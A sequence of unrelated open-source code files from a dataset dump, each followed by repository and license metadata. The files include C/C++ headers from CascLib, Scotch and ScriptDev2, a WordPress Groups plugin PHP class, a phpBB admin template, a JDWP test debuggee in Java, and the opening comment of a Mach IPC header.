// Faster than memcpy(Target, Source, 0x10)
inline void CopyMemory16(void * Target, void * Source)
{
PDWORD PtrTarget = (PDWORD)Target;
PDWORD PtrSource = (PDWORD)Source;
PtrTarget[0] = PtrSource[0];
PtrTarget[1] = PtrSource[1];
PtrTarget[2] = PtrSource[2];
PtrTarget[3] = PtrSource[3];
}
//-----------------------------------------------------------------------------
// Capturing various integral values
LPBYTE CaptureInteger16_BE(LPBYTE pbDataPtr, LPBYTE pbDataEnd, PDWORD PtrValue);
LPBYTE CaptureInteger32(LPBYTE pbDataPtr, LPBYTE pbDataEnd, PDWORD PtrValue);
LPBYTE CaptureInteger32_BE(LPBYTE pbDataPtr, LPBYTE pbDataEnd, PDWORD PtrValue);
LPBYTE CaptureByteArray(LPBYTE pbDataPtr, LPBYTE pbDataEnd, size_t nLength, LPBYTE pbOutput);
LPBYTE CaptureContentKey(LPBYTE pbDataPtr, LPBYTE pbDataEnd, PCONTENT_KEY * PtrCKey);
LPBYTE CaptureEncodedKey(LPBYTE pbEKey, LPBYTE pbData, BYTE EKeyLength);
LPBYTE CaptureArray_(LPBYTE pbDataPtr, LPBYTE pbDataEnd, LPBYTE * PtrArray, size_t ItemSize, size_t ItemCount);
#define CaptureArray(pbDataPtr, pbDataEnd, PtrArray, type, count) CaptureArray_(pbDataPtr, pbDataEnd, PtrArray, sizeof(type), count)
//-----------------------------------------------------------------------------
// String copying and conversion
void CascStrCopy(char * szTarget, size_t cchTarget, const char * szSource, size_t cchSource = -1);
void CascStrCopy(char * szTarget, size_t cchTarget, const wchar_t * szSource, size_t cchSource = -1);
void CascStrCopy(wchar_t * szTarget, size_t cchTarget, const char * szSource, size_t cchSource = -1);
void CascStrCopy(wchar_t * szTarget, size_t cchTarget, const wchar_t * szSource, size_t cchSource = -1);
//-----------------------------------------------------------------------------
// Safe version of s(w)printf
size_t CascStrPrintf(char * buffer, size_t nCount, const char * format, ...);
size_t CascStrPrintf(wchar_t * buffer, size_t nCount, const wchar_t * format, ...);
//-----------------------------------------------------------------------------
// String allocation
char * CascNewStr(const char * szString, size_t nCharsToReserve = 0);
wchar_t * CascNewStr(const wchar_t * szString, size_t nCharsToReserve = 0);
LPSTR CascNewStrT2A(LPCTSTR szString, size_t nCharsToReserve = 0);
LPTSTR CascNewStrA2T(LPCSTR szString, size_t nCharsToReserve = 0);
size_t CombinePath(LPTSTR szBuffer, size_t nMaxChars, char chSeparator, va_list argList);
size_t CombinePath(LPTSTR szBuffer, size_t nMaxChars, char chSeparator, ...);
LPTSTR CombinePath(LPCTSTR szPath, LPCTSTR szSubDir);
LPTSTR GetLastPathPart(LPTSTR szWorkPath);
bool CutLastPathPart(LPTSTR szWorkPath);
size_t NormalizeFileName_UpperBkSlash(char * szNormName, const char * szFileName, size_t cchMaxChars);
size_t NormalizeFileName_LowerSlash(char * szNormName, const char * szFileName, size_t cchMaxChars);
ULONGLONG CalcNormNameHash(const char * szNormName, size_t nLength);
ULONGLONG CalcFileNameHash(const char * szFileName);
//-----------------------------------------------------------------------------
// String conversion functions
template <typename xchar, typename INTXX>
DWORD ConvertStringToInt(const xchar * szString, size_t nMaxDigits, INTXX & RefValue, const xchar ** PtrStringEnd = NULL)
{
INTXX MaxValueMask = (INTXX)0x0F << ((sizeof(INTXX) * 8) - 4);
INTXX Accumulator = 0;
BYTE DigitOne;
// Set default value
if(nMaxDigits == 0)
nMaxDigits = sizeof(INTXX) * 2;
// Convert the string up to the number of digits
for(size_t i = 0; i < nMaxDigits; i++, szString++)
{
// Check for the end of the string
if(szString[0] > sizeof(AsciiToHexTable))
return ERROR_BAD_FORMAT;
if(szString[0] <= 0x20)
break;
// Extract the next digit
DigitOne = AsciiToHexTable[szString[0]];
if(DigitOne == 0xFF)
return ERROR_BAD_FORMAT;
// Check overflow. If OK, shift the value by 4 to the left
if(Accumulator & MaxValueMask)
return ERROR_ARITHMETIC_OVERFLOW;
Accumulator = (Accumulator << 4) | DigitOne;
}
// Give the results
if(PtrStringEnd != NULL)
PtrStringEnd[0] = szString;
RefValue = Accumulator;
return ERROR_SUCCESS;
}
// Converts string blob to binary blob
template <typename xchar>
DWORD BinaryFromString(const xchar * szString, size_t nMaxDigits, LPBYTE pbBinary)
{
const xchar * szStringEnd = szString + nMaxDigits;
DWORD dwCounter = 0;
BYTE DigitValue;
BYTE ByteValue = 0;
// Convert the string
while(szString < szStringEnd)
{
// Retrieve the digit converted to hexa
DigitValue = (BYTE)(AsciiToUpperTable_BkSlash[szString[0]] - '0');
if(DigitValue > 9)
DigitValue -= 'A' - '9' - 1;
if(DigitValue > 0x0F)
return ERROR_BAD_FORMAT;
// Insert the digit to the binary buffer
ByteValue = (ByteValue << 0x04) | DigitValue;
dwCounter++;
// If we reached the second digit, it means that we need
// to flush the byte value and move on
if((dwCounter & 0x01) == 0)
*pbBinary++ = ByteValue;
szString++;
}
return ERROR_SUCCESS;
}
// Converts binary array to string.
// The caller must ensure that the buffer has at least ((cbBinary * 2) + 1) characters
template <typename xchar>
xchar * StringFromBinary(LPBYTE pbBinary, size_t cbBinary, xchar * szBuffer)
{
xchar * szSaveBuffer = szBuffer;
// Verify the binary pointer
if(pbBinary && cbBinary)
{
// Convert the bytes to string array
for(size_t i = 0; i < cbBinary; i++)
{
*szBuffer++ = IntToHexChar[pbBinary[i] >> 0x04];
*szBuffer++ = IntToHexChar[pbBinary[i] & 0x0F];
}
}
// Terminate the string
*szBuffer = 0;
return szSaveBuffer;
}
//-----------------------------------------------------------------------------
// Structure query key
struct QUERY_KEY
{
QUERY_KEY()
{
pbData = NULL;
cbData = 0;
}
~QUERY_KEY()
{
CASC_FREE(pbData);
cbData = 0;
}
LPBYTE pbData;
size_t cbData;
};
typedef QUERY_KEY *PQUERY_KEY;
//-----------------------------------------------------------------------------
// File name utilities
// Retrieves the pointer to plain name
template <typename XCHAR>
const XCHAR * GetPlainFileName(const XCHAR * szFileName)
{
const XCHAR * szPlainName = szFileName;
while(*szFileName != 0)
{
if(*szFileName == '\\' || *szFileName == '/')
szPlainName = szFileName + 1;
szFileName++;
}
return szPlainName;
}
// Retrieves the pointer to file extension
template <typename XCHAR>
const XCHAR * GetFileExtension(const XCHAR * szFileName)
{
const XCHAR * szExtension = NULL;
// We need to start searching from the plain name
// Avoid: C:\$RECYCLE.BIN\File.ext
szFileName = GetPlainFileName(szFileName);
// Find the last dot in the plain file name
while(szFileName[0] != 0)
{
if(szFileName[0] == '.')
szExtension = szFileName;
szFileName++;
}
// If not found, return the end of the file name
return (XCHAR *)((szExtension != NULL) ? szExtension : szFileName);
}
bool IsFileDataIdName(const char * szFileName, DWORD & FileDataId);
bool IsFileCKeyEKeyName(const char * szFileName, LPBYTE PtrKeyBuffer);
bool CascCheckWildCard(const char * szString, const char * szWildCard);
//-----------------------------------------------------------------------------
// Hashing functions
ULONGLONG HashStringJenkins(const char * szFileName);
bool CascIsValidMD5(LPBYTE pbMd5);
void CascCalculateDataBlockHash(void * pvDataBlock, DWORD cbDataBlock, LPBYTE md5_hash);
bool CascVerifyDataBlockHash(void * pvDataBlock, DWORD cbDataBlock, LPBYTE expected_md5);
//-----------------------------------------------------------------------------
// Scanning a directory
typedef bool (*INDEX_FILE_FOUND)(LPCTSTR szFileName, void * pvContext);
bool DirectoryExists(LPCTSTR szDirectory);
int ScanIndexDirectory(LPCTSTR szIndexPath, INDEX_FILE_FOUND pfnOnFileFound, void * pvContext);
//-----------------------------------------------------------------------------
// Argument structure versioning
// Safely retrieves field value from a structure
// intended for cases where users upgrade CascLib by simply dropping in a new .dll without recompiling their app
template <typename ARG, typename ARG_HOLDER>
bool ExtractVersionedArgument(const ARG_HOLDER * pHolder, size_t ArgOffset, ARG * pArg)
{
if (pHolder == NULL)
return false;
// Check input structure size
if (ArgOffset + sizeof(ARG) > pHolder->Size)
return false;
*pArg = *((ARG *)(((char*)pHolder) + ArgOffset));
return true;
}
#endif // __COMMON_H__
|
Nalliestrasza/LegionHearth
|
dep/CascLib/src/common/Common.h
|
C
|
gpl-2.0
| 19,414 |
/* Copyright 2004,2007,2008 ENSEIRB, INRIA & CNRS
**
** This file is part of the Scotch software package for static mapping,
** graph partitioning and sparse matrix ordering.
**
** This software is governed by the CeCILL-C license under French law
** and abiding by the rules of distribution of free software. You can
** use, modify and/or redistribute the software under the terms of the
** CeCILL-C license as circulated by CEA, CNRS and INRIA at the following
** URL: "http://www.cecill.info".
**
** As a counterpart to the access to the source code and rights to copy,
** modify and redistribute granted by the license, users are provided
** only with a limited warranty and the software's author, the holder of
** the economic rights, and the successive licensors have only limited
** liability.
**
** In this respect, the user's attention is drawn to the risks associated
** with loading, using, modifying and/or developing or reproducing the
** software by the user in light of its specific status of free software,
** that may mean that it is complicated to manipulate, and that also
** therefore means that it is reserved for developers and experienced
** professionals having in-depth computer knowledge. Users are therefore
** encouraged to load and test the software's suitability as regards
** their requirements in conditions enabling the security of their
** systems and/or data to be ensured and, more generally, to use and
** operate it in the same conditions as regards security.
**
** The fact that you are presently reading this means that you have had
** knowledge of the CeCILL-C license and that you accept its terms.
*/
/************************************************************/
/** **/
/** NAME : arch_vhcub.h **/
/** **/
/** AUTHOR : Francois PELLEGRINI **/
/** **/
/** FUNCTION : These lines are the data declaration **/
/** for the variable-sized hypercube **/
/** target architecture functions. **/
/** **/
/** DATES : # Version 3.4 : from : 08 nov 2001 **/
/** to 08 nov 2001 **/
/** # Version 4.0 : from : 04 nov 2003 **/
/** to 04 nov 2003 **/
/** # Version 5.1 : from : 21 jan 2008 **/
/** to 21 jan 2008 **/
/** **/
/************************************************************/
/*
** The type and structure definitions.
*/
/*+ The variable-sized hypercube bipartitioning definitions. +*/
typedef struct ArchVhcub_ {
int padding; /*+ No data needed +*/
} ArchVhcub;
typedef struct ArchVhcubDom_ {
Anum termlvl; /*+ Terminal depth +*/
Anum termnum; /*+ Terminal number +*/
} ArchVhcubDom;
/*
** The function prototypes.
*/
#ifndef ARCH_VHCUB
#define static
#endif
#define archVhcubArchLoad NULL
#define archVhcubArchSave NULL
#define archVhcubArchFree NULL
ArchDomNum archVhcubDomNum (const ArchVhcub * const, const ArchVhcubDom * const);
int archVhcubDomTerm (const ArchVhcub * const, ArchVhcubDom * restrict const, const ArchDomNum);
Anum archVhcubDomSize (const ArchVhcub * const, const ArchVhcubDom * const);
#define archVhcubDomWght archVhcubDomSize
Anum archVhcubDomDist (const ArchVhcub * const, const ArchVhcubDom * const, const ArchVhcubDom * const);
int archVhcubDomFrst (const ArchVhcub * const, ArchVhcubDom * const);
int archVhcubDomLoad (const ArchVhcub * const, ArchVhcubDom * const, FILE * const);
int archVhcubDomSave (const ArchVhcub * const, const ArchVhcubDom * const, FILE * const);
int archVhcubDomBipart (const ArchVhcub * const, const ArchVhcubDom * const, ArchVhcubDom * restrict const, ArchVhcubDom * restrict const);
#ifdef SCOTCH_PTSCOTCH
int archVhcubDomMpiType (const ArchVhcub * const, MPI_Datatype * const);
#endif /* SCOTCH_PTSCOTCH */
#undef static
|
carenelarmat/Conejo
|
src/decompose_mesh/scotch_5.1.12b/src/libscotch/arch_vhcub.h
|
C
|
gpl-2.0
| 4,575 |
<?php
/**
* class-groups-user.php
*
* Copyright (c) "kento" Karim Rahimpur www.itthinx.com
*
* This code is released under the GNU General Public License.
* See COPYRIGHT.txt and LICENSE.txt.
*
* This code is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* This header and all notices must be kept intact.
*
* @author Karim Rahimpur
* @package groups
* @since groups 1.0.0
*/
require_once( GROUPS_CORE_LIB . "/interface-i-capable.php" );
require_once( GROUPS_CORE_LIB . "/class-groups-capability.php" );
/**
* User OPM.
*/
class Groups_User implements I_Capable {
const CACHE_GROUP = 'groups';
const CAPABILITIES = 'capabilities';
const CAPABILITY_IDS = 'capability_ids';
const GROUP_IDS = 'group_ids';
/**
* User object.
*
* @var WP_User
*/
var $user = null;
/**
* Hook cache clearers to actions that can modify the capabilities.
*/
public static function init() {
add_action( 'groups_created_user_group', array( __CLASS__, 'clear_cache' ) );
add_action( 'groups_updated_user_group', array( __CLASS__, 'clear_cache' ) );
add_action( 'groups_deleted_user_group', array( __CLASS__, 'clear_cache' ) );
add_action( 'groups_created_user_capability', array( __CLASS__, 'clear_cache' ) );
add_action( 'groups_updated_user_capability', array( __CLASS__, 'clear_cache' ) );
add_action( 'groups_deleted_user_capability', array( __CLASS__, 'clear_cache' ) );
add_action( 'groups_created_group_capability', array( __CLASS__, 'clear_cache_for_group' ) );
add_action( 'groups_updated_group_capability', array( __CLASS__, 'clear_cache_for_group' ) );
add_action( 'groups_deleted_group_capability', array( __CLASS__, 'clear_cache_for_group' ) );
}
/**
* Clear cache objects for the user.
* @param int $user_id
*/
public static function clear_cache( $user_id ) {
// be lazy, clear the entries so they are rebuilt when requested
wp_cache_delete( self::CAPABILITIES . $user_id, self::CACHE_GROUP );
wp_cache_delete( self::CAPABILITY_IDS . $user_id, self::CACHE_GROUP );
wp_cache_delete( self::GROUP_IDS . $user_id, self::CACHE_GROUP );
}
/**
* Clear cache objects for all users in the group.
* @param unknown_type $group_id
*/
public static function clear_cache_for_group( $group_id ) {
global $wpdb;
if ( $group = Groups_Group::read( $group_id ) ) {
// not using $group->users, as we don't need a lot of user objects created here
$user_group_table = _groups_get_tablename( "user_group" );
$users = $wpdb->get_results( $wpdb->prepare(
"SELECT ID FROM $wpdb->users LEFT JOIN $user_group_table ON $wpdb->users.ID = $user_group_table.user_id WHERE $user_group_table.group_id = %d",
Groups_Utility::id( $group_id )
) );
if ( $users ) {
foreach( $users as $user ) {
self::clear_cache( $user->ID );
}
}
}
}
/**
* Create, if $user_id = 0 an anonymous user is assumed.
*
* @param int $user_id
*/
public function __construct( $user_id ) {
if ( Groups_Utility::id( $user_id ) ) {
$this->user = get_user_by( "id", $user_id );
} else {
$this->user = new WP_User( 0 );
}
}
/**
* Retrieve a user property.
* Must be "capabilities", "groups" or a property of the WP_User class.
* @param string $name property's name
*/
public function __get( $name ) {
global $wpdb;
$result = null;
// @todo Do we need to maintain the current semantics of "capabilities" and "groups" as direct properties of the object?
if ( $this->user !== null ) {
switch ( $name ) {
case 'capability_ids' :
$user_capability_table = _groups_get_tablename( "user_capability" );
$rows = $wpdb->get_results( $wpdb->prepare(
"SELECT capability_id FROM $user_capability_table WHERE user_id = %d",
Groups_Utility::id( $this->user->ID )
) );
if ( $rows ) {
$result = array();
foreach ( $rows as $row ) {
$result[] = $row->capability_id;
}
}
break;
case 'capability_ids_deep' :
if ( $this->user !== null ) {
$capability_ids = wp_cache_get( self::CAPABILITY_IDS . $this->user->ID, self::CACHE_GROUP );
if ( $capability_ids === false ) {
$this->init_cache( $capability_ids );
}
$result = $capability_ids;
}
break;
case 'group_ids' :
$user_group_table = _groups_get_tablename( "user_group" );
$rows = $wpdb->get_results( $wpdb->prepare(
"SELECT group_id FROM $user_group_table WHERE user_id = %d",
Groups_Utility::id( $this->user->ID )
) );
if ( $rows ) {
$result = array();
foreach( $rows as $row ) {
$result[] = $row->group_id;
}
}
break;
case 'group_ids_deep' :
if ( $this->user !== null ) {
$group_ids = wp_cache_get( self::GROUP_IDS . $this->user->ID, self::CACHE_GROUP );
if ( $group_ids === false ) {
$this->init_cache( $capability_ids, $capabilities, $group_ids );
}
$result = $group_ids;
}
break;
case "capabilities" :
$user_capability_table = _groups_get_tablename( "user_capability" );
$rows = $wpdb->get_results( $wpdb->prepare(
"SELECT capability_id FROM $user_capability_table WHERE user_id = %d",
Groups_Utility::id( $this->user->ID )
) );
if ( $rows ) {
$result = array();
foreach ( $rows as $row ) {
$result[] = new Groups_Capability( $row->capability_id );
}
}
break;
case 'capabilities_deep' :
if ( $this->user !== null ) {
$capabilities = wp_cache_get( self::CAPABILITIES . $this->user->ID, self::CACHE_GROUP );
if ( $capabilities === false ) {
$this->init_cache( $capability_ids, $capabilities );
}
$result = $capabilities;
}
break;
case "groups" :
$user_group_table = _groups_get_tablename( "user_group" );
$rows = $wpdb->get_results( $wpdb->prepare(
"SELECT group_id FROM $user_group_table WHERE user_id = %d",
Groups_Utility::id( $this->user->ID )
) );
if ( $rows ) {
$result = array();
foreach( $rows as $row ) {
$result[] = new Groups_Group( $row->group_id );
}
}
break;
default:
$result = $this->user->$name;
}
}
return $result;
}
/**
* (non-PHPdoc)
* @see I_Capable::can()
*/
public function can( $capability ) {
global $wpdb;
$result = false;
if ( $this->user !== null ) {
if (
get_option( GROUPS_ADMINISTRATOR_ACCESS_OVERRIDE, GROUPS_ADMINISTRATOR_ACCESS_OVERRIDE_DEFAULT ) &&
user_can( $this->user->ID, 'administrator' ) // just using $this->user would raise a warning on 3.2.1
) {
$result = true;
} else {
// determine capability id
$capability_id = null;
if ( is_numeric( $capability ) ) {
$capability_id = Groups_Utility::id( $capability );
$capability_ids = wp_cache_get( self::CAPABILITY_IDS . $this->user->ID, self::CACHE_GROUP );
if ( $capability_ids === false ) {
$this->init_cache( $capability_ids );
}
$result = in_array( $capability_id, $capability_ids );
} else if ( is_string( $capability ) ) {
$capabilities = wp_cache_get( self::CAPABILITIES . $this->user->ID, self::CACHE_GROUP );
if ( $capabilities === false ) {
$this->init_cache( $capability_ids, $capabilities );
}
$result = in_array( $capability, $capabilities );
}
}
}
$result = apply_filters_ref_array( "groups_user_can", array( $result, &$this, $capability ) );
return $result;
}
/**
* Builds the cache entries for user groups and capabilities if needed.
* The cache entries are built only if they do not already exist.
* If you want them rebuilt, delete them before calling.
*
* @param array $capability_ids carries the capability ids for the user on return, but only if cache entries have been built; will provide an empty array by default
* @param array $capabilities carries the capabilities for the user on return, but only if cache entries have been built; will provide an empty array by default
* @param array $group_ids carries the group ids for the user on return, but only if cache entries have been built; will provide an empty array by default
*/
private function init_cache( &$capability_ids = null, &$capabilities = null, &$group_ids = null ) {
global $wpdb;
$capabilities = array();
$capability_ids = array();
$group_ids = array();
if ( ( $this->user !== null ) && ( wp_cache_get( self::GROUP_IDS . $this->user->ID, self::CACHE_GROUP ) === false ) ) {
$group_table = _groups_get_tablename( "group" );
$capability_table = _groups_get_tablename( "capability" );
$group_capability_table = _groups_get_tablename( "group_capability" );
$user_group_table = _groups_get_tablename( "user_group" );
$user_capability_table = _groups_get_tablename( "user_capability" );
$limit = $wpdb->get_var( "SELECT COUNT(*) FROM $group_table" );
if ( $limit === null ) {
$limit = 1;
}
// note that limits by blog_id for multisite are
// enforced when a user is added to a blog
$user_groups = $wpdb->get_results( $wpdb->prepare(
"SELECT group_id FROM $user_group_table WHERE user_id = %d",
Groups_Utility::id( $this->user->ID )
) );
// get all capabilities directly assigned (those granted through
// groups are added below
$user_capabilities = $wpdb->get_results( $wpdb->prepare(
"SELECT c.capability_id, c.capability FROM $user_capability_table uc LEFT JOIN $capability_table c ON c.capability_id = uc.capability_id WHERE user_id = %d",
Groups_Utility::id( $this->user->ID )
) );
if ( $user_capabilities ) {
foreach( $user_capabilities as $user_capability ) {
$capabilities[] = $user_capability->capability;
$capability_ids[] = $user_capability->capability_id;
}
}
// Get all groups the user belongs to directly or through
// inheritance along with their capabilities.
if ( $user_groups ) {
foreach( $user_groups as $user_group ) {
$group_ids[] = Groups_Utility::id( $user_group->group_id );
}
if ( count( $group_ids ) > 0 ) {
$iterations = 0;
$old_group_ids_count = 0;
while( ( $iterations < $limit ) && ( count( $group_ids ) !== $old_group_ids_count ) ) {
$iterations++;
$old_group_ids_count = count( $group_ids );
$id_list = implode( ",", $group_ids );
$parent_group_ids = $wpdb->get_results(
"SELECT parent_id FROM $group_table WHERE parent_id IS NOT NULL AND group_id IN ($id_list)"
);
if ( $parent_group_ids ) {
foreach( $parent_group_ids as $parent_group_id ) {
$parent_group_id = Groups_Utility::id( $parent_group_id->parent_id );
if ( !in_array( $parent_group_id, $group_ids ) ) {
$group_ids[] = $parent_group_id;
}
}
}
}
$id_list = implode( ",", $group_ids );
$rows = $wpdb->get_results(
"SELECT $group_capability_table.capability_id, $capability_table.capability FROM $group_capability_table LEFT JOIN $capability_table ON $group_capability_table.capability_id = $capability_table.capability_id WHERE group_id IN ($id_list)"
);
if ( count( $rows ) > 0 ) {
foreach ( $rows as $row ) {
if ( !in_array( $row->capability_id, $capability_ids ) ) {
$capabilities[] = $row->capability;
$capability_ids[] = $row->capability_id;
}
}
}
}
}
wp_cache_set( self::CAPABILITIES . $this->user->ID, $capabilities, self::CACHE_GROUP );
wp_cache_set( self::CAPABILITY_IDS . $this->user->ID, $capability_ids, self::CACHE_GROUP );
wp_cache_set( self::GROUP_IDS . $this->user->ID, $group_ids, self::CACHE_GROUP );
}
}
}
Groups_User::init();
|
usmanasif/Taiche
|
wp-content/plugins/groups/lib/core/class-groups-user.php
|
PHP
|
gpl-2.0
| 11,932 |
<!-- INCLUDE overall_header.html -->
<a name="maincontent"></a>
<h1>{L_TITLE}</h1>
<p>{L_EXPLAIN}</p>
<!-- IF S_TROLL_MAIN -->
<form id="acp_troll" method="post" action="{U_ACTION}">
<fieldset>
<legend>{L_TITLE}</legend>
<dl>
<dt><label for="troll">{L_USERNAME}:</label></dt>
<dd><textarea name="troll" cols="40" rows="3" id="troll"></textarea></dd>
<dd>[ <a href="{U_FIND_USERNAME}" onclick="find_username(this.href); return false;">{L_FIND_USERNAME}</a> ]</dd>
</dl>
<p class="submit-buttons">
<input class="button1" type="submit" id="trollsubmit" name="trollsubmit" value="{L_SUBMIT}" />
<input class="button2" type="reset" id="trollreset" name="trollreset" value="{L_RESET}" />
</p>
{S_FORM_TOKEN}
</fieldset>
</form>
<br /><br />
<h1>{L_UNTROLL_TITLE}</h1>
<p>{L_UNTROLL_EXPLAIN}</p>
<form id="acp_untroll" method="post" action="{U_ACTION}">
<fieldset>
<legend>{L_UNTROLL_TITLE}</legend>
<!-- IF TROLL_OPTIONS -->
<dl>
<dt><label for="untroll">{L_USERNAME}:</label></dt>
<dd><select id="untroll" name="untroll[]" multiple="multiple" size="10" style="width: 50%">{TROLL_OPTIONS}</select></dd>
</dl>
<p class="submit-buttons">
<input class="button1" type="submit" id="untrollsubmit" name="untrollsubmit" value="{L_SUBMIT}" />
<input class="button2" type="reset" id="untrollreset" name="untrollreset" value="{L_RESET}" />
</p>
<!-- ELSE -->
<p>{L_NO_TROLLS}</p>
<!-- ENDIF -->
{S_FORM_TOKEN}
</fieldset>
</form>
<!-- ELSEIF S_TROLL_MANAGE -->
<!-- IF S_TROLL_EDIT or S_TROLL_ADD -->
<!-- IF S_ERROR -->
<div class="errorbox">
<h3>{L_WARNING}</h3>
<p>{ERROR_MSG}</p>
</div>
<!-- ENDIF -->
<form id="acp_troll" method="post" action="{U_ACTION}">
<fieldset>
<!-- BEGIN options -->
<dl>
<dt><label for="{options.KEY}">{options.TITLE}:</label><!-- IF options.S_EXPLAIN --><br /><span>{options.TITLE_EXPLAIN}</span><!-- ENDIF --></dt>
<dd>{options.CONTENT}</dd>
</dl>
<!-- END options -->
</fieldset>
<fieldset class="submit-buttons">
<legend>{L_SUBMIT}</legend>
<input class="button1" type="submit" id="submit" name="submit" value="{L_SUBMIT}" />
<input class="button2" type="reset" id="reset" name="reset" value="{L_RESET}" />
{S_HIDDEN_FIELDS}{S_FORM_TOKEN}
</fieldset>
</form>
<!-- ELSE -->
<form id="acp_troll" method="post" action="{U_ACTION}">
<fieldset class="tabulated">
<table cellspacing="1" id="down">
<thead>
<tr>
<th colspan="2">{L_ACP_TROLL}</th>
<th>{L_ACTION}</th>
</tr>
</thead>
<tbody>
<!-- BEGIN action -->
<tr class="<!-- IF action.S_ROW_COUNT is even -->row1<!-- ELSE -->row2<!-- ENDIF -->">
<td style="text-align: center;">{action.NAME}</td>
<td style="text-align: center;"><!-- IF action.ENABLED --><a href="{action.U_DISABLE}">{L_ENABLED}</a><!-- ELSE --><a href="{action.U_ENABLE}">{L_DISABLED}</a><!-- ENDIF --></td>
<td style="text-align: right; width: 40px;"><a href="{action.U_EDIT}">{ICON_EDIT}</a> <a href="{action.U_DELETE}">{ICON_DELETE}</a></td>
</tr>
<!-- BEGINELSE -->
<tr class="row3">
<td colspan="3">{L_ACP_NO_ITEMS}</td>
</tr>
<!-- END action -->
</tbody>
</table>
<p class="quick">
<!-- dropdown of troll actions -->
<input type="text" name="action_name" id="action_name" />
<!-- name="submit" -->
<input class="button2" type="submit" value="{L_ADD_TROLL_ACTION}" />
</p>
{S_FORM_TOKEN}
</fieldset>
</form>
<!-- ENDIF -->
<!-- ENDIF -->
<!-- INCLUDE overall_footer.html -->
|
3D-I/troll-mod-ext
|
adm/style/trollmod_body.html
|
HTML
|
gpl-2.0
| 3,563 |
These graphs were generated using:
* http://brunogirin.blogspot.com.au/2010/09/memory-usage-graphs-with-ps-and-gnuplot.html
Originally there was a large memory leak, we moved allocation out of the loop and shared the slabs across iterations.
The protocol sequence diagram was rendered using https://sverweij.github.io/mscgen_js/index.html
|
tca/up
|
graphs/README.md
|
Markdown
|
gpl-2.0
| 345 |
/* Copyright (C) 2009 - 2010 by /dev/rsa for ScriptDev2 <https://scriptdev2.svn.sourceforge.net/>
* This program is free software licensed under GPL version 2
* Please see the included DOCS/LICENSE.TXT for more information */
#ifndef BSW_INSTANCE_H
#define BSW_INSTANCE_H
#define BSW_INSTANCE_VERSION 0.6.14
#include "sc_instance.h"
class MANGOS_DLL_DECL BSWScriptedInstance : public ScriptedInstance
{
public:
BSWScriptedInstance(Map* pMap);
~BSWScriptedInstance();
//sends completed achievments to all players in instance
void DoCompleteAchievement(uint32 uiAchievmentId);
void DoOpenDoor(uint64 guid);
void DoCloseDoor(uint64 guid);
void SetNextEvent(uint32 EventNum, uint32 creatureID, uint32 timer = 1000);
uint32 GetEvent(uint32 creatureID);
bool GetEventTimer(uint32 creatureID, const uint32 diff);
private:
uint32 m_auiEvent;
uint32 m_auiCreatureID;
uint32 m_auiEventTimer;
bool m_auiEventLock;
Map* m_pMap;
};
#endif
|
bobx/ProEmu
|
src/bindings/scriptdev2/base/BSW_instance.h
|
C
|
gpl-2.0
| 1,062 |
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* @author Vitaly A. Provodin
*/
/**
* Created on 24.02.2005
*/
package org.apache.harmony.jpda.tests.jdwp.ThreadReference;
import org.apache.harmony.jpda.tests.framework.DebuggeeSynchronizer;
import org.apache.harmony.jpda.tests.framework.LogWriter;
import org.apache.harmony.jpda.tests.share.JPDADebuggeeSynchronizer;
import org.apache.harmony.jpda.tests.share.SyncDebuggee;
/**
* The class specifies debuggee for <code>org.apache.harmony.jpda.tests.jdwp.ThreadReference.OwnedMonitorsTest</code>.
* This debuggee starts the tested thread <code>TESTED_THREAD</code> which
* synchronized with test via the <code>SGNL_READY</code> and
* <code>SGNL_CONTINUE</code> signals.
*/
public class OwnedMonitorsDebuggee extends SyncDebuggee {
public static final String TESTED_THREAD = "TestedThread";
static Object waitForStart = new Object();
static Object waitForFinish = new Object();
public void run() {
DebuggeeThread thrd = new DebuggeeThread(TESTED_THREAD,
logWriter, synchronizer);
synchronized(waitForStart){
thrd.start();
try {
waitForStart.wait();
} catch (InterruptedException e) {
}
}
synchronized(waitForFinish){
logWriter.println("thread is finished");
}
}
class DebuggeeThread extends Thread {
LogWriter logWriter;
DebuggeeSynchronizer synchronizer;
public DebuggeeThread(String name, LogWriter logWriter,
DebuggeeSynchronizer synchronizer) {
super(name);
this.logWriter = logWriter;
this.synchronizer = synchronizer;
}
public void run() {
synchronized(OwnedMonitorsDebuggee.waitForFinish){
synchronized(OwnedMonitorsDebuggee.waitForStart){
OwnedMonitorsDebuggee.waitForStart.notifyAll();
logWriter.println(getName() + ": started");
synchronizer.sendMessage(JPDADebuggeeSynchronizer.SGNL_READY);
logWriter.println(getName() + ": wait for SGNL_CONTINUE");
synchronizer.receiveMessage(JPDADebuggeeSynchronizer.SGNL_CONTINUE);
logWriter.println(getName() + ": finished");
}
}
}
}
public static void main(String [] args) {
runDebuggee(OwnedMonitorsDebuggee.class);
}
}
|
skyHALud/codenameone
|
Ports/iOSPort/xmlvm/apache-harmony-6.0-src-r991881/jdktools/modules/jpda/src/test/java/org/apache/harmony/jpda/tests/jdwp/ThreadReference/OwnedMonitorsDebuggee.java
|
Java
|
gpl-2.0
| 3,386 |
/*
* Mach Operating System
* Copyright (c) 1991,1990,1989 Carnegie Mellon University
* All Rights Reserved.
*
* Permission to use, copy, modify and distribute this software and its
* documentation is hereby granted, provided that both the copyright
* notice and this permission notice appear in all copies of the
* software, derivative works or modified versions, and any portions
* thereof, and that both notices appear in supporting documentation.
*
* CARNEGIE MELLON ALLOWS FREE USE OF THIS SOFTWARE IN ITS "AS IS"
* CONDITION. CARNEGIE MELLON DISCLAIMS ANY LIABILITY OF ANY KIND FOR
* ANY DAMAGES WHATSOEVER RESULTING FROM THE USE OF THIS SOFTWARE.
*
* Carnegie Mellon requests users of this software to return to
*
* Software Distribution Coordinator or [email protected]
* School of Computer Science
* Carnegie Mellon University
* Pittsburgh PA 15213-3890
*
* any improvements or extensions that they make and grant Carnegie Mellon
* the rights to redistribute these changes.
*/
/*
* File: ipc/ipc_mqueue.h
* Author: Rich Draves
* Date: 1989
*
